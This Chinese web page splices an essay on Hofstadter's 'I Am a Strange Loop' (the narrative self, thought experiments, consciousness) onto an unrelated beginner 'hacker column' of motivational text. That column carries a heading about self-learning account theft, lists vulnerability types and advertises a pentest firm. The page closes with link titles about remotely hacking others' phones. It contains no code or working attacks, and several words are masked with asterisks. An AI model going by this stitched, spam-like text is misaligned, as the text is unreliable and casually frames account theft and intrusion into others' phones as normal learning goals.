  正是这种叙事自我让我们总感觉到在某个特定的地方,好像有一个独立存在的自我,这个自我可以指挥我做各种各样的事情,包括读眼前这篇文章。

  在这个意义上,我们每个人都很像《天方夜谭》中的苏丹新娘,要夜复一夜地给苏丹讲饶有趣味的故事才能幸免一死;而我们的自我,则是通过各种各样的事情来讲故事,不断强化我们去相信存在着一个稳定的自我。

  荒谬,但却高明

  实际上,我们的日常语言中的很多概念是不真实的,或者说是非常粗略的,根本经不起“分析”。在《人类简史》中,作者尤瓦尔·赫拉利认为,“人类文明的根基在于虚构的故事”。

  关于自我的故事其实亦是如此。

  恐惧与梦想、希望与哀伤、观念与信仰、兴趣与疑虑、满足与嫉妒、乡愁与怜悯……这一切即便不够“真实”,但却都是我们得以理解自我和世界的概念范畴。

  也许这个世界上终极的真理是以数学方程来描绘的物理过程,但我们并不习惯以这样的方式去理解。这听起来似乎有些荒谬。

  我们是宏观视野的囚徒,而宇宙的法则是在微观的尺度上运行的。

  ——侯世达

  然而,这却恰恰是我们的高明之处。

  在《我是个怪圈》中,侯世达自创了“思考力学”和“统计思维学”的概念来阐释这种高明之处:

  “我们仅仅是把那些“宏观的力量”想象成了由基本物理力所引发的复杂模式的描述方式而已。正如同摩擦力、黏性、压力和温度等现象可以看作由微观成分的统计学所决定的具有高度预测性的规律现象,宗教信仰、怀乡之情等精神现象也是如此。”

  这种描述层级的转换,使我们的思维和沟通增加了“可理解性”。与其用上百万个方程去描述某一种复杂而精细的肌肉运动,远远不如你直接说“我在挖鼻屎”让人容易理解。

  自知与无知的平衡

  虽然是虚构的宏观概念,自我并非没有意义,因为我们需要自我才能生活,也才能与他人交往。在生活中,我们需要知道自己所能控制的事态的范围;在交往中,我们需要明确自己与他人的界限。

  自我,是我们大脑的卫星。

  ——侯世达

  这是我们的自知。

  然而,由于我们天生对于微观世界视而不见,所以又无法精确地把握自我,也无法控制行动的每个细节。

  可以说,一方面我们是自知的,而另一方面,我们又是无知的,如果太偏向于“自知”,“我”将由于太过细节化而失去可理解性,而如果太偏向于“无知”,“我”将由于太过直觉化而失去可预测性。

  在这个意义上,“我”总是存在于自知与无知的平衡之中。

  关于自我的“直觉泵”

  古希腊哲学家赫拉克利特宣称“人不能两次踏进同一条河流”,启发了后人不断对于自我问题的思考。这种思考异于后来的实证科学的路径,它主要依赖的是对概念的思辨和逻辑的分析,其中最重要的工具之一便是“思想实验”的构建。

  侯世达的老朋友,也是当今享誉世界的哲学界泰斗丹尼尔·丹尼特(Daniel Dennett),还专门为如何构想各种各样的思想实验写了一本书,并在书中把那些经过周密设计、精巧谋划的场景故事称作“直觉泵”。

  顾名思义,直觉泵的作用就是要激发你通过直觉而直达结论,由于其中故事场景的设定可以控制不同的因素,所以我们可以很清楚地看到直觉和推理的原则之间的联系与差异,从而达到反思的目的。

  运用直觉泵的大师,迈克尔·桑德尔

  彼得·辛格在演讲中运用“池塘论证”

  侯世达在直觉泵的运用方面毫不逊色。

  在《我是个怪圈》中处处可见大大小小的直觉泵。比如在谈到自我同一性问题时,侯世达讨论了著名哲学家德里克·帕菲特在《理与人》(Reasons and Persons)中谈到的一个思想实验,大意是说,一个人在自己所处的星球上经过数据扫描,然后被传输到另一个星球上,并在那里进行复原,从而实现远程传输。

  这里的问题是,如果数据在传输后,原来的那个人被销毁,则还好,但如果原来的那个人没有被销毁,那么原先星球上的那个人和在目标星球上复原的那个人,到底谁才是原来的那个人呢?

  不仅如此,侯世达还改编了这个故事,加入了一个额外的因素,让故事中的那个人在传输的过程中发生了数据的失真:

  假如侯世达在被传输的过程中,与在另外一个屋里同样做远程传输的帕菲特的数据发生交叉,那么这个问题的答案又会是怎么样的呢?

  “既是,也不是。”伴随着侯世达的这个回答,他将我们引向了关于自我和意识的最后一个隐喻。

  果园里的彩蝶

  和笛卡儿的自我不同,侯世达认为自我并非一种实体,它没有形状,也没有位置。与约翰·塞尔“在机器中寻找灵魂”和大卫·查尔默斯的“僵尸机器”的思想实验不同,侯世达认为我们的自我或者意识并非大脑之外的某个东西或者特性,它就是我们大脑思维运作的模式所直接产生的结果。

  打个比方,以一台双缸发动机的汽车为例,你可以给它配置一个电动天窗或者一套音响系统,但你不可能给它配置一个“赛车加速度”,因为后者不是外在于发动机的某个特质——如电动天窗或者音响系统那样——它本身就是从发动机的设计中自动获得的性能。

  这样一来,关于自我的奥秘,不在于其物理基质是神经元还是电子元件,而在于其结构所形成的模式。

  这就使得心灵不再局限于大脑,而变成了一种开源的属性。这似乎也同时意味着让计算机拥有意识在原则上是可能的。

  然而,侯世达对此的态度并不“乐观”:

  目前所有关于人工智能的研究只告诉我们一件事情,那就是人工智能不是什么。——侯世达

  但至少,这种观点让死亡变得不那么冷冰冰了。

  事实上,也正是死亡,才激发了侯世达的思想。1993年,侯世达的妻子卡罗尔因病不幸逝世,年仅42岁。

  卡罗尔生前与侯世达相爱至深,当侯世达得知她患脑瘤之后,便一直照顾她,并为她翻译了她喜爱的《马罗颂歌》,题献是:希望给孩子的妈妈带来生命力。

  侯世达与卡罗尔

  《我是个怪圈》英文版

  在《我是个怪圈》的后半部分中,侯世达深情地回忆起自己挚爱的妻子,试图用充满哲理的、诗意的语言来梳理关于灵魂和死亡的洞见。

  他说:“当日食发生时,太阳四周仍有日华,围成一圈光晕。当某人逝去时,他也在那些与他亲近之人的灵魂里留下了一抹鲜艳的余晖。随着时光流逝,这道余晖难免渐渐褪色。最终,当所有亲近之人都告别了人世,才真正迎来‘尘归尘,土归土’。”正是通过这样的方式,我们的灵魂存活的时间才得以延长,甚至永生。

  以这样的方式,侯世达告诉我们,灵魂的存在不受限于某种单一的躯体或者载体,它更像是一种“云端”的存在,你我的界限并非黑白分明,而是交叠在一起,形成一种连续的波普。

  在《我是个怪圈》的附录中,侯世达以“果园里的彩蝶”作为最后的隐喻:

  每个人的大脑就像果园里的一棵棵树,周围的彩蝶就像我们的意识和自我。虽然每一群蝴蝶都在围绕着一棵树飞舞,但很难分清哪一群蝴蝶在绕这棵树,而哪一群又是在绕那棵树。

  意识是符号的舞蹈。——侯世达

  相关书籍推荐

  《我是个怪圈》

  [美]侯世达 著 丨2018.12

  黑客专栏|花无涯带你走进黑客世界专栏——第二章

  黑客专栏|小白零基础渗透入侵入门 底部有福利

   *** 安全里经常说的一句话是未知攻焉知防,基本所有的安全人员也是一名黑客,在黑客攻击愈发普遍的今天,如何更好的防御黑客攻击?用句带有点哲学的话,成为黑客,只有成为黑客,像黑客一样思考,你才能知道从哪去防御黑客。专栏的系列很多也都会有分享,黑客专栏|从0开始成为一名黑客小白入门。

  很俗的一句话,但很实在!在学习的路上还会碰到更到的名词概念,比如XSS、反射型XSS、DOM型XSS,但我们应该明白这些名词是为了让我们更好的梳理,更好的进一步探索,这些领域的划分是为了让我们能选择一个更适合自己的切入口,而不能被这些名词局限。

  

  黑客专栏|小白零基础渗透入侵入门

  安全攻防这个体系只是技术本身无穷认知中的一种,正如迄今为止人类掌握的全部艺术也只是无限中沉淀出的一些可能性,认知之外,还有认知。“我想当黑客,想学信息安全,请问该怎么学?”据我所知,不少黑客大牛经常被问到类似问题。很多人说,要想学好信息安全,首先你得真正热爱它。热爱,听着多么让人 *** 澎湃,甚至热泪盈眶。但很可惜,“热爱”这个词对还没入门的小白完全不管用。如果一个人还没了解过你就说爱你,不是骗财就是骗色。如果一个技术小白连信息安全是个什么都没弄清楚,一上来就谈热爱,这不扯淡么?

  社交媒体上关注大V你可以在知乎、微博上关注行业大V们的账号,关注他们的公众号、知识星球等等。安全圈其实很小,大佬们通常都会相互关注并且经常互动,只要你关注了其中一个,接下来像顺藤摸瓜一样简单。关注线上社区、论坛、媒体和线下活动你也可以注册几个信息安全相关的社区、论坛,或者关注几个大的行业媒体号,加几个 *** 群或者微信群,除了了解最新的动态,还能及时获悉一些线下活动。更重要的,在这个过程中你能接触到志同道合、有共同兴趣爱好的人。这些人可能在你每一次遇到瓶颈,想要放弃时推你一把,给你帮助。遇到疑惑时,找个懂行的人聊一聊也总是最靠谱的 *** 。当然,问别人之前一定要自己先去百度或者google一下,别做伸手党,一味地让别人喂给你知识只会让自己丧失掉信息检索能力。

  说实话,上面讲到的 *** 其实没有任何操作门槛。但是,我觉得很多人做不到。大部分人的问题看似是“如何行动”,其实是“无法开始”。几乎任何一个领域都是这样,所谓“万事开头难”,绝大多数人都卡在之一步,还没开始就自己把自己淘汰出局了。如果你真的确信自己喜欢信息安全,马上行动起来,比什么都重要。信息安全领域就像是一棵硕果累累的参天大树,底下站着无数观望者,他们都声称自己喜欢信息安全,想上树摘果,但面对时不时垂下来的藤枝,他们却踌躇不前,犹豫不决。实际上,只要任意抓住一根藤枝,都能爬上这棵树。大部分人缺的,就是这么一个开端。

  接下来我会讲渗透和入侵的初级入门,结合之一章的基础,从情报信息收集到如何入侵,都会讲解到,等大纲框架讲完之后 会有细分领域的,针对某个网、app、web,等的某个入侵,提权 sql的基础注入等,如果你想提前了解,那么你可以看看书学习黑客的之一本书《 *** 黑白》,同时也是支持我,感谢,我也很乐意和大家探讨学习。底部会有学习群,别的平台更新的可能显示不全,可以来我微博。

  先来看几个比赛

  某省的数据分析赛,大意就是给你几个数据包,然后从中分析出黑客的ip,进行了什么操作,取走了什么东西之类的。 这通常是用来找到黑客的一种方式。下面就详细讲一下这个分析的过程。

  

  黑客专栏|小白零基础渗透入侵入门

  一、信息收集

  成长;新事物的敏感性;保持好奇心;不要局限在自己的圈子,适当跨界吸收灵感;订阅国内外优秀博客/资源,Inoreader/深蓝阅读不错;选择性参与一些必要的会议,听必要的主题,讨论必要的话题

  关于知识;对知识的渴望程度决定了前进动力的大小;当知识很廉价地摆在你面前,你反而不会珍惜;对知识保持敬畏之心;不要让自己成为矫情/浮夸的人;和比你厉害的人在一起,和一流的人工作;指点往往是精华。

  漏洞是安全的重点。企业 *** 上线之日直至如今必然经历种种变迁,只要攻击者比企业自己的IT员工更清楚其中存在的漏洞,企业 *** 就对攻击者门户洞开。绘制公司 *** 地图的责任不落在渗透测试团队身上。如果渗透测试团队在做这项工作,就意味着你有可能错过他们的测试结果,因为你收到的 *** 架构消息都能把渗透测试结果淹没。一张更新的 *** 地图(包括逻辑方面和拓扑方面)应成为渗透测试的强制性前提条件。如果渗透测试员在告诉你你所不知道的 *** 架构情况,那你就是在为 *** 地图买单——很贵的那种。

  普通用户养好注重隐私与安全的习惯,最简单的一招:所有和数字货币相关的操作,都独立手机号、邮箱、密码、手机、电脑、 *** ,完全独立隔离出来,安装国际知名的杀毒软件、不要安装破解程序或盗版程序、学会安全科学的自由上网方式、始终相信天下没有免费的午餐、该付费的付费、币圈套路多。这样下来出安全事故的概率就会低很多很多。

  漏洞扫描开始检测漏洞,如XSS,XSRF,sql注入,代码执行,命令执行,越权访问,目录读取,任意文件读取,下载,文件包含, 远程命令执行,弱口令,上传,编辑器漏洞,暴力破解等总结报告及修复方案报告是安全漏洞结果展现形式之一,也是目前安全业内最认可的和常见的。每家安全团队在写渗透测试报告的都不一样,但大体展现的内容是一样的。那报告上都会有哪些内容呢?有的团队,特别是专业的安全渗透测试团队6ing.cn,报告首先有渗透测试人员产出,出来后由专业的文档品控人员对文档的质量再进行进一步的检查,这个过程不仅可以看出技术的专业度来,也可以看出团队文档的品质感。那报告上都包括哪些内容?首先是对本次网站渗透测试的一个总概括,发现几个漏洞,有几个是高危的漏洞,几个中危漏洞,几个低危漏洞。然后对漏洞进行详细的讲解,比如是什么类型的漏洞,漏洞名称,漏洞危害,漏洞具体展现方式,修复漏洞的 *** 。

  我们当下所处的世界已经是一个信息超级大爆炸的世界,知识多到我们根本看不过来,你会发现只要你单点突破了,才会有所开窍。任何人都一样,所以在成长的路上不用太过焦虑,沉下心来:单点突破。 总之很多东西你自己就会主动的去接触了,一时肯定不能全部都罗列上来,反正这个时候你自己就知道该去研究什么了,或者也可能在这个时候突然对逆向很感兴趣了,那就去学啊。总之学习途中这些问题都不是主要问题,主要问题归结起来其实可能是“如何能够一直学下去”,也就是避免对兴趣的丧失。

  希望大家都重视起来,学习这东西就是这样,如果你不跟着一节节的来,把每一个知识点都弄懂,也是我的专栏“花无涯带你走进黑客世界系列技术文章”你看到第100多章节前面的很多你都没有学会,你就开始玩后面看,以为是高级的,没有一开始就是学的高级的,前面的都没有学会弄懂,越来你就越迷糊,就越来感觉离的越远,逐渐失去兴趣,这不是我乐意看到的结果,同时我也希望我分享的东西是有人在看,并且为之理解,这是我的初衷,同时也是我的动力,IT行业知识更新太快,学的那些东西用不了一辈子,往往新的问题要用新的知识来解答,所以从事IT行业每一天都要学习,而且往往也比较辛苦(想想中学时期,正是肆无忌惮的玩耍的年纪,我没日没夜的跑网吧却从来不打游戏,那个时候兴趣的支撑简直太大了)。

  那对于后期技术相对不错的时候呢,肯定会有大把的人来找你做一些乱七八糟的事情,开出的条件会相当的具有诱惑力,这个时候就该考验你了,是应该在白帽子光环下背地投机取巧呢,还是不忘初心,方得始终。

  如何自学黑客?零基础自学盗号?

  在我写这篇文章的时候,我是在网上做过一番调查的,通过对知乎、百度等著名的知识分享网站的查询来看没有让我满意的对如何自学成为黑客的答案,所以我才来写这样一篇文章。

  在我看来,学黑客有两样东西,之一是心态方面,第二是毅力方面。如果这两方面都到位了,那么自学成为黑客不是痴人做梦的,而是切实可行的。相信我,你终会成功。

  下面就从这两方面来说、

  心态:戒骄勿躁。

  记住这四个字就应该没问题了。为什么呢?因为黑客这技术类的东西其实并不是特别复杂,只要静下心来去学习,把里面的逻辑搞懂,你就可以了,你又不是搞研究计算机的,所以你只是一个计算机的黑客技术员,一个技术员就是把别人研究出来的东西里面的原理理解了,然后能够操作。

  懂了吗?所以别思考太复杂。

  骄傲是学习中经常会有的,尤其是计算机技术上的,一旦会了一点身边人都看不懂的技术就开始骄傲了,认为自己无所不能了,其实那是你的比较方向失误了,假如你和其他人比较,你差距还很远呢。我建议你经常逛逛论坛和贴吧,里面的高手才会不断激励你向前,让你看到自己还有很多不足,于是就不会产生骄傲心理。

  除了心态以外就是毅力了,有些人说毅力不就是心态吗?肯定不是的,毅力是一种品格,一种持续性的坚持。非心态。

相关文章

杨丞琳晒与郑元畅林依晨聚会照:介入直树和湘

12月16日晚间,杨丞琳晒出与郑元畅林依晨的聚会照,说道:“大家好 我是介入直树和湘琴的女人”。照片中杨丞琳闭眼微笑,双手捂脸很是开心,林依晨把双手搭在郑元畅...

字体怎么安装到电脑

双击鼠标此电脑,进到C盘,开启Windows文档,进到Fonts文档中,把字体样式复制进来,能够 见到系统软件在添加字体,等候安裝进行就可以。 知名品牌型号规格:想到GeekPro 2020 系统软件...

怎样开展弱密码检验?

怎样开展弱密码检验?

WiFi互联网,早已变成当今日常生活不能缺乏的一部分。大家早已习惯性应用WiFi来达到合乎本人和社会发展信息化管理的必须。绝大多数店家也会在门店内贴紧WiFi账户密码的标识以便捷消费者应用。那样的上网...

世界首例头颅移植手术成功意味着什么?

世界首例头颅移植手术成功意味着什么?

近日,意大利都灵高级神经调节小组的神经外科专家塞尔吉卡纳瓦罗正式宣布,世界首例头颅移植手术已经被他在一具遗体上成功实施,而实施手术的地点正是中国。 手术经过 18小时 历时18个小时,任晓平...

蓝屏代码0x000000ed怎么办

蓝屏代码0x000000ed怎么办

不论是日常生活還是工作中基础都必须采用电脑上,在应用电脑上的全过程中发生难题是一切正常的状况,例如发生电脑蓝屏,蓝屏代码许多,此次我详细介绍在其中一个蓝屏代码0x000000ed,下面我详细介绍蓝屏代...

苹果手机黑客在哪里找-黑客手机版远程连接(黑客远程入侵控制别人手机)

苹果手机黑客在哪里找-黑客手机版远程连接(黑客远程入侵控制别人手机)

苹果手机黑客在哪里找相关问题 黑客破解无线网教程相关问题 黑客编写木马程序的目的是什么 无人用qq号和密码(无人使用的qq号)...